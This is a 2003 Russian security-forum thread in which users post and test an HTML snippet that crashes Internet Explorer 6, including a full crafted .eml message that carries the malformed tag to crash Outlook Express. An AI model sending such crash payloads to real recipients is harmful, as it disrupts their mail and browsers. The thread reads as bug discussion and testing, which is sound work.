информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Spanning Tree Protocol: недокументированное применениеСетевые кракеры и правда о деле ЛевинаВсе любят мед
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 Три миллиона электронных замков... 
 Doom на газонокосилках 
 Умер Никлаус Вирт 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / site updates
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
Не факт. 07.05.03 23:33  Число просмотров: 1216
Автор: JINN <Sergey> Статус: Elderman
<"чистая" ссылка>
> <html>
> <!-- > <input type code>
> <body>
> </body>
> </html>
> Спасибо дяде БГ :)

ИЕ 6.0 + патчи q319182, q324929 - ослик "не падает", умирает лишь окно, в котором был открыт crash.html.
<site updates>
Пользователям IE опять пора бояться 07.05.03 10:41  
Publisher: cybervlad <cybervlad> Статус: Elderman
<"чистая" ссылка>
Пользователям IE опять пора бояться
The Inquirer http://www.theinquirer.net/?article=9344

Обнаруженная ошибка при разборе тегов приводит к аварийному завершению программы. Теперь для скрипт-кидди есть развлечение - рассылать e-mail в html-формате со злобными тегами...


Полный текст
Пользователям IE опять пора бояться 07.05.03 14:46  
Автор: zoonoid Статус: Незарегистрированный пользователь
<"чистая" ссылка>
<html>
<!-- > <input type code>
<body>
</body>
</html>
Спасибо дяде БГ :)
Не факт. 07.05.03 23:33  
Автор: JINN <Sergey> Статус: Elderman
<"чистая" ссылка>
> <html>
> <!-- > <input type code>
> <body>
> </body>
> </html>
> Спасибо дяде БГ :)

ИЕ 6.0 + патчи q319182, q324929 - ослик "не падает", умирает лишь окно, в котором был открыт crash.html.
А этого мало, что-ли? :)) 08.05.03 09:49  
Автор: Sandy <Alexander Stepanov> Статус: Elderman
<"чистая" ссылка>
Ну и толку? 08.05.03 09:54  
Автор: ZloyShaman <ZloyShaman> Статус: Elderman
<"чистая" ссылка>
Если выключено подтверждение на закрытие окна, то можно и window.close использовать ;))))
Одно дело окно просто закрылось, а другое - когда в ошибку выпало! :) 08.05.03 12:36  
Автор: Sandy <Alexander Stepanov> Статус: Elderman
<"чистая" ссылка>
а АутГлюк как? 12.05.03 07:54  
Автор: zoonoid Статус: Незарегистрированный пользователь
<"чистая" ссылка>
А может кто сможет этот код в HTML в АутГлюк вставить и рассказать падает он или нет?
А то у меня ломает винды ставить
Если само письмо было написано в формате HTML... 12.05.03 17:34  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка>
...и в этом HTML есть вышеуказанный зловредный код, то аутглюк должен красиво упасть, потому что при просмотре такого письма от подгружает IE как in-place OLE (ActiveX), и скорее всего в своём же адресном пространстве, поэтому исключение ослика завалит аутглюк...
Сегодня исследовал поведение этого почтовика... Аутглюк умирает, но не сдаётся ;-) 13.05.03 22:09  
Автор: HandleX <Александр М.> Статус: The Elderman
<"чистая" ссылка>
Если текст (ниже) вы сохраните в простом текстовом формате в файл с расширением *.eml, то сами сможете всё это посмотреть...

From: "Alex" <somebody@mail.ru>
To: <somebody@pisem.net>
Subject: =?koi8-r?B?6MXMzM8h?=
Date: Wed, 14 May 2003 00:37:03 +0700
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0005_01C319B0.F09A7A20"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C319B0.F09A7A20
Content-Type: text/plain;
	charset="koi8-r"
Content-Transfer-Encoding: quoted-printable

Hi!
------=_NextPart_000_0005_01C319B0.F09A7A20
Content-Type: text/html;
	charset="koi8-r"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dkoi8-r">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD><FONT face=3DArial><FONT size=3D2>
<!-- > <INPUT TYPE CODE>
<BODY>
<DIV>Hi!</DIV></BODY></HTML></FONT></FONT>

------=_NextPart_000_0005_01C319B0.F09A7A20--

---
Ну и дальше в мелкософт как чувствовали, что может произойти такое. Если это письмо проводником с помощью drug&drop бросить во «входящие», то аутлук падает с ошибкой. Можно себе представить, что аутлук при повторной загрузке сразу открывает папку «входящие», а там опять это письмо ;-) Но вот что он показывает вместо письма в этом случае:
«Outlook Express did not shutdown correctly

The last time you ran Outlook Express it did not exit correctly. In case this was due to a problem with the last message you were viewing, the message is not being shown».

так что в M$ тоже не лохи ;-)
а АутГлюк как? 12.05.03 13:50  
Автор: JINN <Sergey> Статус: Elderman
Отредактировано 12.05.03 13:53  Количество правок: 1
<"чистая" ссылка>
> А может кто сможет этот код в HTML в АутГлюк вставить и
> рассказать падает он или нет?
> А то у меня ломает винды ставить
Создал в БАТе письмо, приаттачил файл crash.html, отправил себе же, забрал аутлуком почту, ткнул в аттач, ответил "Да, я хочу открыть вложение", открылось окно IE и тут же "упало" с сообщением
"Программа выполнила недопустимую операцию и будет закрыта" Сведения :
Программа EXPLORER вызвала сбой при обращении к странице памяти
в модуле SHLWAPI.DLL по адресу 0167:70bf4fee."

Отвечаем "Закрыть", получаем ещё одно сообщение "Произошла ошибка в IE. Работа обозревателя будет завершена. При повторении ошибки перезагрузите компьютер".

Жмём "ОК"- "зависнувшее" окно закрывается, работу можно продолжать-)
Добавлю : ВСЕ остальные окна и приложения при этом работают без проблем, в частности половина этого сообщения была написана при висящем предупреждении об ошибке.
Версия Аутлук-а 6.00.2600

Так что если повезёт найти адресата, у которого все настройки дефолтовые, типа "ВСЁ СРАЗУ открывать и ни о чём не предупреждать", баг можно использовать.
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2024 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach